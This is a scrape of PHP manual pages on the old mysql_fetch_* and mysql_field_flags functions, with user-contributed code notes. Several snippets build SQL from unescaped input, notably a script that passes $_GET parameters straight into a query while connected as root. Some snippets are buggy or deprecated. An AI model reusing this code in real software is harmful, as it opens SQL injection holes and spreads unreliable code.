Bit of a security risk allowing parameters to select db and table on live server (unless user is restricted or replace the $_GET with fixed value.)

Outputs xml with standard format for <config> part to generate forms in flash.

<?php
    //
    //    makeXML.php?db=dbname&table=tablename
    //

    set_time_limit(300);

    $host = "localhost";
    $user = "root";
    $password = "root";

    $database = $_GET['db'];
    $table = $_GET['table'];

    mysql_connect($host,$user,$password);
    @mysql_select_db($database) or die( "Unable to select database");

    $querytext="SELECT * FROM ".$table;
    $result=mysql_query($querytext);

    if ($result){
        $num=mysql_num_rows($result);
    }else{
        $num=0;
    }

?>
<?php
    header('Content-Type: text/xml');
     echo "<?xml version='1.0'?>";

     if ($num > 0){
 ?>
<<?php  echo $table?>>
    <config>
        <?php
            // Display number of fields
            echo "<numFields>".mysql_num_fields($result)."</numFields>";
            $i = 0;
            $primaryKey = "";
            $nameArray = array();
            $maxLengthArray = array();
            $typeArray = array();
            while ($i < mysql_num_fields($result)) {
                $meta = mysql_fetch_field($result, $i);
                $nameArray[$i] = $meta->name;
                $maxLengthArray[$i] = $meta->max_length;
                $typeArray[$i] = $meta->type;
                if ($meta->primary_key){
                    $primaryKey = $meta->name;
                }
                $i++;
            }
            $i = 0;
            echo "<fieldNames>";
            while ($i < count($nameArray)) {
                echo "<field".$i.">".$nameArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldNames>";
            $i = 0;
            echo "<fieldMaxLength>";
            while ($i < count($maxLengthArray)) {
                echo "<field".$i.">".$maxLengthArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldMaxLength>";
            $i = 0;
            echo "<fieldType>";
            while ($i < count($typeArray)) {
                echo "<field".$i.">".$typeArray[$i]."</field".$i.">";
                $i++;
            }
            echo "</fieldType>";
        ?>
        <primaryKey><?php  echo $primaryKey?></primaryKey>
        <numRecords><?php  echo $num?></numRecords>
    </config>
<?php
    $i=0;
    while ($i < $num) {
        $ID=mysql_result($result,$i,"ID");
        $value=mysql_result($result,$i,"value");
        $title=mysql_result($result,$i,"title");
        $description=mysql_result($result,$i,"description");
?>
    <row>
        <ID><?php  echo $ID?></ID>
        <weighting><?php  echo $value?></weighting>
        <title><?php  echo $title?></title>
        <description><?php  echo $description?></description>
    </row>
<?php
        $i = $i + 1;
    }
?>
</<?php  echo $table?>>

<?php
    }
?>
php [spat] hm2k.org 04-Nov-2008 03:22
An improvement on the earlier mysql_column_exists function.

<?php

function mysql_column_exists($table_name, $column_name, $link=false) {
    $result = @mysql_query("SHOW COLUMNS FROM $table_name LIKE '$column_name'", $link);
    return (mysql_num_rows($result) > 0);
}

?>
jorachim at geemail dot com 25-Sep-2008 01:09
If you want the fields in a table, a simple DESCRIBE query will work:

<?php
$query ="DESCRIBE Users";
$result = mysql_query($query);

echo "<ul>";

while($i = mysql_fetch_assoc($result))
     echo "<li>{$i['Field']}</li>";

echo "</ul>";
?>

Should do the trick.
david at vitam dot be 10-Jun-2008 05:57
A little function to help coders to distinct the tablename from a multiselect query where some fields has the same name in differents tables.

<?php
public function sql($sql) {
    $T_Return=array();
    $result=@mysql_query($sql);

    $i=0;
    while ($i < mysql_num_fields($result)) {
        $fields[]=mysql_fetch_field($result, $i);
        $i++;
    }

    while ($row=mysql_fetch_row($result)) {
        $new_row=array();
        for($i=0;$i<count($row); $i++) {
            $new_row[ $fields[$i]->table][$fields[$i]->name]=$row[$i];
        }
        $T_Return[]=$new_row;
    }

    return $T_Return;
}
?>
dheep 03-Jun-2008 08:56
Simple PHP script for displaying the field names. Presuming the database is seleected already.

<?php
$sql = "SELECT * FROM table_name;";
$result = mysql_query($sql);
$i = 0;
while($i<mysql_num_fields($result))
{
  $meta=mysql_fetch_field($result,$i);
  echo $i.".".$meta->name."<br />";
  $i++;
}
?>

OUTPUt:
0.id
1.todo
2.due date
3.priority
4.type
5.status
6.notes

hope this is useful.
Nick Baicoianu 15-Sep-2005 11:18
Be sure to note that $max_length is the length of the longest value for that field in the returned dataset, NOT the maximum length of data that column is designed to hold.
php at brayra dot com 21-Mar-2002 04:09
I needed to get the field information and the enum/set values. Here is the function I created to expand the object returned by mysql_fetch_field. I also, decided to return all the fields for a table in an array of field objects by "name" and position much like mysql_fetch_array does.

You could test it by using:

<?php
$myfields = GetFieldInfo('test_table');
print "<pre>";
print_r($myfields);
print "</pre>";
?>

The field objects now have 'len', 'values' and 'flags' parameters.
NOTE: 'values' only has data for set and enum fields.

<?php
//This assumes an open database connection
//I also use a constant DB_DB for current database.
function GetFieldInfo($table)
{
  if($table == '') return false;
  $fields = mysql_list_fields(DB_DB, $table);
  if($fields){
    $columns = mysql_query('show columns from ' . $table);
    if($columns){
      $num = mysql_num_fields($fields);
      for($i=0; $i < $num; ++$i){
        $column = mysql_fetch_array($columns);
        $field = mysql_fetch_field($fields, $i);
        $flags = mysql_field_flags($fields, $i);
        if($flags == '') $flags=array();
        else $flags = explode(' ',$flags);
        if (ereg('enum.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if (ereg('set.(.*).',$column['Type'],$match))
          $field->values = explode(',',$match[1]);
        if(!$field->values) $field->values = array();
        $field->flags = $flags;
        $field->len = mysql_field_len($fields, $i);
        $result_fields[$field->name] = $field;
        $result_fields[$i] = $field;
      }
      mysql_free_result($columns);
    }
    mysql_free_result($fields);
    return $result_fields;
  }
  return false;
}
?>

hope someone else finds this useful.
krang at krang dot org dot uk 10-Mar-2002 06:12
The field type returns what PHP classifies the data found in the field, not how it is stored in the database; use the following example to retrieve the MySQL information about the field....

<?php
$USERNAME = '';
$PASSWORD = '';

$DATABASE = '';
$TABLE_NAME = '';

mysql_connect('localhost', $USERNAME, $PASSWORD)
    or die ("Could not connect");

$result = mysql_query("SHOW FIELDS FROM $DATABASE.$TABLE_NAME");

$i = 0;

while ($row = mysql_fetch_array($result)) {
  echo $row['Field'] . ' ' . $row['Type'];
}
?>
mysql_fetch_assoc
mysql_fetch_lengths
MySQL Functions


Get the length of each output in a result

mysql_fetch_field
mysql_fetch_object
MySQL Functions
PHP Manual

mysql_fetch_lengths

(PHP 4, PHP 5)

mysql_fetch_lengths — Get the length of each output in a result

Description

array mysql_fetch_lengths ( resource $result )

Returns an array that corresponds to the lengths of each field in the last row fetched by MySQL.

mysql_fetch_lengths() stores the lengths of
each result column in the last row returned by
mysql_fetch_row(),
mysql_fetch_assoc(),
mysql_fetch_array(), and
mysql_fetch_object() in an array, starting at
offset 0.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

An array of lengths on success or FALSE on failure.

Examples

Example #1 A mysql_fetch_lengths() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row     = mysql_fetch_assoc($result);
$lengths = mysql_fetch_lengths($result);

print_r($row);
print_r($lengths);
?>

The above example will output something similar to:

Array
(
    [id] => 42
    [email] => user@example.com
)
Array
(
    [0] => 2
    [1] => 16
)

See Also

  • mysql_field_len() - Returns the length of the specified field
  • mysql_fetch_row() - Get a result row as an enumerated array
  • strlen() - Get string length

User Contributed Notes

Bavo Janss 10-Jul-2009 07:19
In case of UTF8 fields mysql_field_len() will return 3 times the maximum length (e.g. 30 for a VARCHAR(10) field)) for mysql_field_len() returns the byte length of the field not the defined size.
09-Feb-2006 06:23
For the maximum length of a field (e.g. 10 for a VARCHAR(10) field), use mysql_field_len().
mysql_fetch_field
mysql_fetch_object
MySQL Functions


Fetch a result row as an object

mysql_fetch_lengths
mysql_fetch_row
MySQL Functions
PHP Manual

mysql_fetch_object

(PHP 4, PHP 5)

mysql_fetch_object — Fetch a result row as an object

Description

object mysql_fetch_object ( resource $result [, string $class_name [, array $params ]] )

Returns an object with properties that correspond to the fetched row and moves the internal data pointer ahead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

class_name

The name of the class to instantiate, set the properties of and return. If not specified, a stdClass object is returned.

params

An optional array of parameters to pass to the constructor for class_name objects.

Return Values

Returns an object with string properties that correspond to the fetched row, or FALSE if there are no more rows.

Changelog

Version | Description
5.0.0 | Added the ability to return as a different object.

Examples

Example #1 mysql_fetch_object() example

<?php
mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");
$result = mysql_query("select * from mytable");
while ($row = mysql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
mysql_free_result($result);
?>

Example #2 mysql_fetch_object() example

<?php
class foo {
    public $name;
}

mysql_connect("hostname", "user", "password");
mysql_select_db("mydb");

$result = mysql_query("select name from mytable limit 1");
$obj = mysql_fetch_object($result, 'foo');
var_dump($obj);
?>

Notes

Note: Performance

Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant).

Note:

mysql_fetch_object() is similar to mysql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_row() - Get a result row as an enumerated array
  • mysql_data_seek() - Move internal result pointer
  • mysql_query() - Send a MySQL query

User Contributed Notes

webmaster at kibab dot com 01-Sep-2010 07:46
That huge difference in timings may be caused by database cache issues. If mysql_fetch_object() was the first function to be used, the cache was empty, but subsequent invocations took the result from the query cache.
mp 27-Aug-2008 10:39
When working with a stdClass object returned from a database query, specifically:

$object = mysql_fetch_object($result)

You may run into assignment problems if you have a field with a '.' in the name.
e.g.: `user.id`

To remedy this situation, you can use curly braces and single quotes during assignment.

In place of:
$myObject->user_id = $object->user.id;

Use:
$myObject->user_id = $object->{'user.id'};
strrev xc.noxeh@ellij 05-Jun-2008 05:28
I created a table, with 5 INT columns, and 1000 rows of random ints.
I did 100 selects:

SELECT * FROM bench... (mysql_fetch_object)
Query time: 5.40725040436
Fetching time: 16.2730708122 (avg: 1.32130565643E-5)
Total time: 21.6803212166

SELECT * FROM bench... (mysql_fetch_array)
Query time: 5.37693023682
Fetching time: 10.3851644993 (avg: 7.48886537552E-6)
Total time: 15.7620947361

SELECT * FROM bench... (mysql_fetch_assoc)
Query time: 5.345921278
Fetching time: 10.6170959473 (avg: 7.64049530029E-6)
Total time: 15.9630172253

"Note: Performance  Speed-wise, the function is identical to mysql_fetch_array(), and almost as quick as mysql_fetch_row() (the difference is insignificant)."

And I am a penguin :)
hcse at op dot pl 03-Jun-2008 03:19
<?php
class Test {

    public $go ;
    private $id ;

    function show() {
        return "id: {$this->id} go: {$this->go}" ;
    }

    function __construct()
    {
        echo "in __construct() ". $this->show() ."\n" ;
        $this->go = uniqid()    ;
    }

}

if (! ($res = mysql_query('SELECT * FROM `test`', $db))) {
    die('Invalid query: ' . mysql_error() . "\n");
}

while($obj = mysql_fetch_object($res, 'Test') ){
    echo "outside ________ ". $obj->show() ."\n\n";
}
?>

This code gives the result:
in __construct() id: 1 go: first
outside ________ id: 1 go: 4845bd99ca2e3

in __construct() id: 2 go: second
outside ________ id: 2 go: 4845bd99ca2fd

It means that __construct() is invoked after filling fields with data from database, eg. it can be used to change strings into integers.
Justin Rovang 16-May-2008 12:24
This is another way to load variables quickly within $this, and allows for intervention on variable names.

All columns from the single-row result are loaded and accessed via $this->_variableName.

<?
class MyClass{
    public function _load($nID) {
        $Q = "SELECT * FROM myTable";
        if($aTmp = RETURN_Q_ARRAY($Q)) {
            $aTmp = $aTmp[0];
            $aK =array_keys($aTmp);
            foreach($aK as $sK) {
                if(!is_numeric($sK)) $this->{"_$sK"}=$aTmp[$sK];
            }
            return true;
        }
        return false;
    }
}

$o = new MyClass;
$o->_load(1);

echo $o->_id; //1
echo $o->_otherColumn; //otherColumn value
Peter T 19-Apr-2008 09:36
If you're using mysql_fetch_object and specifying a class - the properties will be set BEFORE the constructor is executed.  This is generally not an issue, but can cause some major problems if you're properties are set via the __set() magic method and constructor logic must be executed first.
danielpunt 08-Feb-2008 05:20
@Jezze : This wil also work. Also works with static methods.

<?php

class Foo
{
    private $FooBar;

    public function LoadFromId($Id)
    {
        $Result = mysql_query('SELECT * FROM foo WHERE Id = ' . $Id);
        while($Row = mysql_fetch_object($Result, __CLASS__))
        {
            print_r($Row);
        }

    }

}

$Foo = new Foo;
$Foo->LoadAll();

?>
Jezze 24-Sep-2007 10:56
If you have a class that represents itself in a database you can use this function to get the properties.

class MyClass {

  public $name;
  public $language;

  function load($id) {

    $query = mysql_query("SELECT name, language FROM myTable WHERE id = $id");
    $result = mysql_fetch_object($query, get_class($this));

    foreach(get_object_vars($result) as $var => $value) $this->$var = $value;
  }

}

$a = new MyClass();
$a->load(1);
Chris at r3i dot it 18-Aug-2007 10:03
In reply to rodolphe dot bodeau at free dot fr :

The function mysql_fetch_object has other two parameters that you can use.
As the manual say:
mysql_fetch_object( $resource, $class_name, $params ) )

$class_name and $params are optional.

So if you want to fetch a row in a class you can:

1) Define your class Test with method and other stuff.
2) Execute Query
3) call:
$Object = mysql_fetch_object( $Resource, "Test" );

so you can use $Object with the methods

Be aware how you write code in your methods: in this case, classes are used for centralize the code and they are not
really safe because you can have an additional Information
( with a Join Query for example ) without methods to access to them.
So classes need get and set method generalized.
( for extra see PHP 5 Manual O'Rielly on the use of generalized methods get and set )
rodolphe dot bodeau at free dot fr 13-May-2007 05:00
This little function stores the content of a mysql_fetch_object result into an object by using MySQL request field names as object parameters :

<?php
function FetchRequestInObject(&$obj, $req)
{
    $ReqVars = get_object_vars($req);
    foreach ($ReqVars as $ReqName => $ReqValue)
    {
        if (property_exists($obj, $ReqName))
        {
            $obj->$ReqName = $ReqValue;
        }
    }
}
?>

Remember that mysql_fetch_object is case sensitive, so beware of your object properties. Use keyword "AS" in your SQL request to change field name if necessary.
info [at] woeiweb [dot] nl 02-May-2007 12:17
Since PHP 5.2.1 it seems like this function doesn't like queries that return columns with empty names, like:
select '' from `table`

PHP exits and mysql_error() does not return an error.
syntax 21-Oct-2006 06:00
@Simon Paridon and others concerning SQL to php getting results via mysql_fetch_object:

Every query that would fail in a database frontend, such as MySQLs "Query Browser" and only will work by using the `-marks will probably give results hardly accessible in PHP especially if you have column names with "-" or " " in it.

Using the example of Simon Paridon: it is not possible to execute a query like:

SELECT id, user-id FROM unlucky_naming

only

SELECT id, `user-id` FROM unlucky_naming

will work...

so either be a bit wiser when naming the colums (e.g. user_id)

or try it with

SELECT id, `user-id` AS user_id FROM unlucky_naming

(i have not tested it in PHP yet, but i guess this will fail as well, if you have a query like "SELECT `foo name` FROM `unlucky naming 2`")

Somewhat down "amackenz at cs dot uml dot edu" mentioned to name sum, count etc. this may be a good hint for newbies: increase the speed of your php applications by using (my)sql native functions and save data transfer as well as processing time
Simon Paridon 24-Sep-2006 05:53
The behavior of this function is slightly questionable.

If you have a col in you table containing non-variable-name characters like "-", mysql_fetch_object will add "impossible variable names" to your object, e.g.

object (
  [user-id] => 7
)

You can not access this variable normally with $obj->user-id, because the variable name is invalid. But you can however access it like this:

$foo = 'user-id';
echo $obj->$foo;

It will correctly output 7, whereas var_dump($obj->user-id) would output int(0) for some reason.

I got this behaviour with PHP 4.4.2.
Kaminari (telecotxesco at hotmail) 23-Jul-2006 04:55
This is a very very elegant (and costless) way to fetch an enterie query to every single field name from a "wide" table:

The tedious way fetching:
<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    while($row=mysql_fetch_object($consult)){
        $IdLomo=$row->IdLomo;
        $Serie=$row->Serie;
        $Model=$row->Model;
        $Type=$row->Type;
        $Year=$row->Year;
        $Speed=$row->Speed;
        $Power=$row->Power;
        $Price=$row->Price;
        $Load1=$row->Load1;
        $Load2=$row->Load2;
        $Load3=$row->Load3;
        $Load4=$row->Load4;
        $Server=$row->Servier;
        $Real=$row->Real;
        $Lomo=$row->Lomo;
    }
?>

Resulting on 15 new variables called like their name on table wich we introduced manualy for 5 minutes. But imagine each row has 100 fields!

A way saving time with the same result:

<?php
    $idtable=mysql_connect("localhost","user","pwd");
    mysql_select_db("table",$idtable);
    $consult=mysql_query("SELECT *
                            FROM models
                            ORDER BY Serie,Year ASC");
    // We find the fields number
    $numfields=mysql_num_fields($consult);

    // Now we put the names of fields in a Array
    for($i=0;$i<$numfields;$i++){
        $fieldname[$i]=mysql_field_name($consult, $i);
    }

    while($row=mysql_fetch_object($consult)){
        //Finally we assign the new variables
        for($i=0;$i<$numfields;$i++){
            $$fieldname[$i]=$row->$fieldname[$i];
        }
    }
?>
trithaithus at tibiahumor dot net 21-Aug-2005 01:56
This method offers a nice way to fetch objects from databases. As Federico at Pomi dot net mentioned it doesn't work native as the type of the object fetched isn't the right one, but with a small typecast it works flawlessly.

<?php
function ClassTypeCast(&$obj,$class_type){
   if(class_exists($class_type)){
       $obj = unserialize(preg_replace("/^O:[0-9]+:\\"[^\"]+\\":/i",
         "O:".strlen($class_type).":\\"".$class_type."\\":", serialize($obj)));
   }
}

class Foo
{
    var $foo;
    var $bar;
    function get_from_db()
    {
        mysql_connect();
        mysql_select_db();
        $res = mysql_query("SELECT foo,bar from my_table");

        $fetched_object = mysql_fetch_object($res);
        ClassTypeCast($fetched_object,"Foo");
        $this = $fetched_object;
    }
}
?>
backglancer at hotmail 07-Aug-2005 03:07
Watch out for mysql_fetch_object() to return all values as strings.
if you try to do
<?
$p = mysql_fetch_object($some_sql);
// and then try to do something like

$money = $p->dollars + $p->cents;
?>

You may experience "Unsupported operand types"

so always cast them both as (int) 's!!
q 09-Jul-2004 07:31
Some clarifications about previous notes concerning duplicate field names in a result set.

Consider the following relations:

TABLE_A(id, name)
TABLE_B(id, name, id_A)

Where TABLE_B.id_A references TABLE_A.id.

Now, if we join these tables like this: "SELECT * FROM TABLE_A, TABLE_B WHERE TABLE_A.id = TABLE_B.id_A", the result set looks like this: (id, name, id, name, id_A).

The behaviour of mysql_fetch_object on a result like this isn't documented here, but it seems obvious that some data will be lost because of the duplicate field names.

This can be avoided, as Eskil Kvalnes stated, by aliasing the field names. However, it is not necessary to alias all fields on a large table, as the following syntax is legal in MySQL: "SELECT *, TABLE_A.name AS name_a, TABLE_B.name AS name_b FROM TABLE_A, TABLE_B ...". This will produce a result set formatted like this: (id, name, id, name, id_A, name_a, name_b), and your data is saved. Hooray!

-q
rcoles at hotmail dot com 16-Oct-2003 02:11
In reviewing Eskil Kvalnes's comments (04-Mar-2003 11:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object()) I was left asking and, as a newbie, the reason why I'm here. I have a 28 field table. Ran SELECT * with a LEFT JOIN, etc and it appears to have worked on my test server without issue.

On further reading, MYSQL.COM has the following:
* It is not allowed to use a column alias in a WHERE clause, because the column value may not yet be determined when the WHERE clause is executed. See section A.5.4 Problems with alias.
* The FROM table_references clause indicates the tables from which to retrieve rows. If you name more than one table, you are performing a join. For information on join syntax, see section 6.4.1.1 JOIN Syntax. For each table specified, you may optionally specify an alias.

Aware of the fact there's a difference between tables and fields there appears to be confusion here somewhere.
zhundiak at comcast dot net 15-May-2003 06:44
Here is a wrapper that will allow specifying a class name.
function &db_fetch_object($set,$className)
{
  /* Start by getting the usual array */
  $row = mysql_fetch_assoc($set);
  if ($row === null) return null;

  /* Create the object */
  $obj =& new $className();

  /* Explode the array and set the objects's instance data */
  foreach($row as $key => $value)
  {
    $obj->{$key} = $value;
  }
  return $obj;
}
class CPerson
{
  function getFullName()
  {
    return $this->fname . ' ' . $this->lname;
  }
}
$set = mysql_query('SELECT fname,lname FROM person');
while($person =& db_fetch_object($set,'CPerson'))
{
  echo $person->getFullName();
}
Eskil Kvalnes 03-Mar-2003 10:59
When using table joins in a query you obviously need to name all the fields to make it work right with mysql_fetch_object().
kalleanka 30-Jan-2003 03:50
an addition to the previous...

for example getting members from a database:

function getAllMembers () {
    $query = "SELECT * FROM people ORDER BY lname";
    $result = mysql_query($query);

    while($member = mysql_fetch_object($result)){
        $members[] = $member;
    }

    return $members;
}
<br><br>
    DON'T FORGET TO DECLARE THE ARRAY. If you try to cycle through members after the function has been called and you don't declare the array first you will get a horribly (HORRIBLY!) ugly error in your page. Also, if you try to add the object into the members array inside the while condition instead of in the while loop, you will generate one extra empty space in the array due to the last iteration/check.
spamme at aol dot com 16-Jan-2003 12:28
This is probably a little more elegant:

$sql = "SELECT * FROM table ";
$result = mysql_query($sql);

$data = array();

while ($row = mysql_fetch_object($result))
   $data[] = $row;
allen at brooker dot gb dot net 19-Nov-2002 04:14
I found the above code to be buggy, not adding all the records to the array. This is the code I used instead:

  $command = "SELECT * FROM table ";
  $result = mysql_query($command, $link_id);
  $num = mysql_num_rows($result);

  $clickthru = array();

  for ($i = 0; $i <= $num; $i++) {
    $clickthru[$i] = array();
    $clickthru[$i] = mysql_fetch_array($result);
  }

Allen
Federico at Pomi dot net 15-Sep-2002 07:41
Be carefull:
the object returned will be a new/fresh object.

You can't use this function to replace some attributes of an existing object keeping the old ones.

Example:
class person
{
   var $name;
   var $surname;
   var $doh;

function print()
{
   print($name." ".$surname);
}

function get_from_db()
{
   $res=query("select name, surname from ppl where... limit 1");
   $this=mysql-fetch-object($res);
}

}

This won't work! When the method get_from_db() is executed, your old object will be destroyed... you won't find anything in the attribute $doh, and if you'll try to call the method print(), it will say it doesn't exist.
mysql_fetch_lengths
mysql_fetch_row
MySQL Functions


Get a result row as an enumerated array

mysql_fetch_object
mysql_field_flags
MySQL Functions
PHP Manual

mysql_fetch_row

(PHP 4, PHP 5)

mysql_fetch_row — Get a result row as an enumerated array

Description

array mysql_fetch_row ( resource $result )

Returns a numerical array that corresponds to the fetched row and moves the internal data pointer ahead.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns an numerical array of strings that corresponds to the fetched row, or FALSE if there are no more rows.

mysql_fetch_row() fetches one row of data from the result associated with the specified result identifier. The row is returned as an array. Each result column is stored in an array offset, starting at offset 0.

Examples

Example #1 Fetching one row with mysql_fetch_row()

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$row = mysql_fetch_row($result);

echo $row[0]; // 42
echo $row[1]; // the email value
?>

Notes

Note: This function sets NULL fields to the PHP NULL value.

See Also

  • mysql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_fetch_object() - Fetch a result row as an object
  • mysql_data_seek() - Move internal result pointer
  • mysql_fetch_lengths() - Get the length of each output in a result
  • mysql_result() - Get result data

User Contributed Notes

jhulbert at redf dot com 19-Feb-2010 01:32
Creates table from all db info:

<?php
$qry = "SELECT * FROM exp_member_data";
$res = mysql_query($mem_qry);

function mysql_fetch_all($res) {
   while($row=mysql_fetch_array($res)) {
       $return[] = $row;
   }
   return $return;
}

function create_table($dataArr) {
    echo "<tr>";
    for($j = 0; $j < count($dataArr); $j++) {
        echo "<td>".$dataArr[$j]."</td>";
    }
    echo "</tr>";
}

$all = mysql_fetch_all($res);

echo "<table class='data_table'>";

for($i = 0; $i < count($all); $i++) {
    create_table($all[$i]);
}

echo "</table>";

?>
larkitetto at gmail dot com 21-Feb-2008 03:29
sry :) note now fixed:

<?php
$esi=mysql_list_tables($db);$ris=mysql_fetch_row($esi);
//example: $db has >= 1 tabs
echo var_dump($ris);
//echoes only array(1). solution:
while($ris=mysql_fetch_row($esi)) echo $ris[0];
/*debug:
$ris=array("1st_tab"); ... $ris=array("n_tab");$ris=false;*/
while ($ris[]=mysql_fetch_row($esi));
//debug:$ris=array(array("1st_tab"), ... array("n_tab"));
echo $ris[n][0];//echo:"n_tab"
echo $ris[0][n];//echo:array | null
?>

hope it helps
ryhan_balboa at yahoo dot com 16-Nov-2007 09:23
The following are the basic codes to get a specific row from the mysql db into a $row variable:

$query = "SELECT * FROM table";
$result = mysql_query($query);
$row = mysql_fetch_row($result);

And $row[0], $row[1] ... $row[n] are used to access those field values.

Does anyone know how I can add a new field to $row, so that the field count increases from n to n+1?

I have tried treating $row like an array, and tried array_push function, but didn't work.

Thanks.
m dot s at programmers-online dot net 17-Nov-2005 01:56
The following function to read all data out of a mysql-resultset, is may be faster than Rafaels solution:

<?
function mysql_fetch_all($result) {
   while($row=mysql_fetch_array($result)) {
       $return[] = $row;
   }
   return $return;
}
?>
mysql at polyzing dot com 12-Jul-2003 03:05
It is probably worth pointing out that the array elements will actually be of type string, OR NULL if the field is null in the database.

Thus, either use a double equal comparison to look for empty or null

Or, use a triple equal comparison to be able to distinguish the two cases

e.g.

if ($field === '') echo "Empty, not NULL\n";

if ($field === NULL) echo "NULL\n";

if ($field == '') echo "Empty or NULL\n";
michael and then an at sign wassupy.com 08-Apr-2003 12:09
to print an array, simply use print_r(array name)

like this:
    $myrow = mysql_fetch_row($result);
echo "<pre>";
print_r($myrow);
echo "</pre>";

this will output the array in a readable form, with the index, too. Don't forget the 'pre' tags or the output will be on a single line.
a at simongrant dot org 06-Feb-2002 05:10
Maybe worth pointing out that all the fields returned by this (and other?) calls are returned with type string. This had me puzzled for quite some time.
mysql_fetch_object
mysql_field_flags
MySQL Functions


Get the flags associated with the specified field in a result

mysql_fetch_row
mysql_field_len
MySQL Functions
PHP Manual

mysql_field_flags

(PHP 4, PHP 5)

mysql_field_flags — Get the flags associated with the specified field in a result

Description

string mysql_field_flags ( resource $result , int $field_offset )

mysql_field_flags() returns the field flags of the specified field. The flags are reported as a single word per flag separated by a single space, so that you can split the returned value using explode().

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

field_offset

The numerical field offset. The field_offset starts at 0. If field_offset does not exist, an error of level E_WARNING is also issued.

Return Values

Returns a string of flags associated with the result or FALSE on failure.

The following flags are reported, if your version of MySQL is current enough to support them: "not_null", "primary_key", "unique_key", "multiple_key", "blob", "unsigned", "zerofill", "binary", "enum", "auto_increment" and "timestamp".

Examples

Example #1 A mysql_field_flags() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}
$flags = mysql_field_flags($result, 0);

echo $flags;
print_r(explode(' ', $flags));
?>

The above example will output something similar to:

not_null primary_key auto_increment
Array
(
    [0] => not_null
    [1] => primary_key
    [2] => auto_increment
)

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_fieldflags()

See Also

  • mysql_field_type() - Get the type of the specified field in a result
  • mysql_field_len() - Returns the length of the specified field

User Contributed Notes

play at arcadevillage dot com 03-Aug-2009 07:07
To really backup the database values, I made a little changement :

My code really looks like bomas 's code, but there is an important diffence :

<?php
$nbc = mysql_num_fields($req_table);
while ($ligne = mysql_fetch_array($req_table))
  {
    $insertions = "INSERT INTO $table VALUES(";
     for ($i=0; $i<$nbc; $i++)
        {
          if ( $i > 0 ) $insertions .= ", ";
          if ( !isset($ligne[$i]))
            $insertions .= "NULL";
          else
            $insertions .= "'" . mysql_real_escape_string($ligne[$i]). "'";
        }
     $insertions .= ");";
     $dumpsql[] = $insertions;
   }
?>

$dumpslq is the variable where I put the insertion orders before writting them in a text file.

Before, I test that the values if not NULL into the field because it is the only way to make the difference, for example for string text fields, between NULL values and empty strings.

If you don't make this test, you should find empty string instead of NULL values when you do the backup.
Bob 05-May-2009 03:00
To parse an enum/set type correctly, including strings like ENUM('a\'b','c'), here is an almost pcre-free way that works well.
<?php
function parse_enum_values($typestr)
{
    // remove ENUM/SET part
    $typestr = preg_replace('/^(enum|set)/i', '', $typestr);
    // trim '(', ')', ' off the ends of the string and then explode it on ','
    return trim(explode("','", $typestr), "(')");
}
?>
It works because explode is looking for ',' - not ',\'.
dev at rgbworld dot com 13-Apr-2008 03:45
With regard to get_fields() by pike-php at kw dot nl

For 'enum and 'set' the code improperly parses single quote marks that should be allowed in the elements.

For example EMUM('a\'s', 'b') is parsed into 3 array elements when it should be 2.

Wrong:
[args] => Array
(
[0] => a
[1] => s
[2] => b
)

It should give:
[args] => Array
(
[0] => a's
[1] => b
)

I am not good with preg, but if someone could provide a solution, that would be great. Thank you!
bomas at cities-of-faith dot com 08-Sep-2005 01:52
well, to make a complete backup of your database, i suggest this code:

//open database here
$tab_status = mysql_query("SHOW TABLE STATUS");
while($all = mysql_fetch_assoc($tab_status)):
    $tbl_stat[$all[Name]] = $all[Auto_increment];
endwhile;
unset($backup);
$tables = mysql_list_tables('cofadmin');
while($tabs = mysql_fetch_row($tables)):
    $backup .= "--\n--Tabel structuur voor `$tabs[0]`\n--\n\nDROP IF EXISTS TABLE `$tabs[0]`\nCREATE TABLE IF NOT EXISTS `$tabs[0]` (&nbsp;";
    $res = mysql_query("SHOW CREATE TABLE $tabs[0]");
    while($all = mysql_fetch_assoc($res)):
        $str = str_replace("CREATE TABLE `$tabs[0]` (", "", $all['Create Table']);
        $str = str_replace(",", ",&nbsp;", $str);
        $str2 = str_replace("`) ) TYPE=MyISAM ", "`)\n ) TYPE=MyISAM ", $str);
        $backup .= $str2." AUTO_INCREMENT=".$tbl_stat[$tabs[0]].";\n\n";
    endwhile;
    $backup .= "--\n--Gegevens worden uitgevoerd voor tabel `$tabs[0]`\n--\n\n";
    $data = mysql_query("SELECT * FROM $tabs[0]");
    while($dt = mysql_fetch_row($data)):
        $backup .= "INSERT INTO `$tabs[0]` VALUES('$dt[0]'";
        for($i=1; $i<sizeof($dt); $i++):
            $backup .= ", '$dt[$i]'";
        endfor;
        $backup .= ");\n";
    endwhile;
    $backup .= "\n-- --------------------------------------------------------\n\n";
endwhile;
echo $backup;

this displayes your data the same way as phpmyadmin does.

hope it helps some of you guys
Greetz
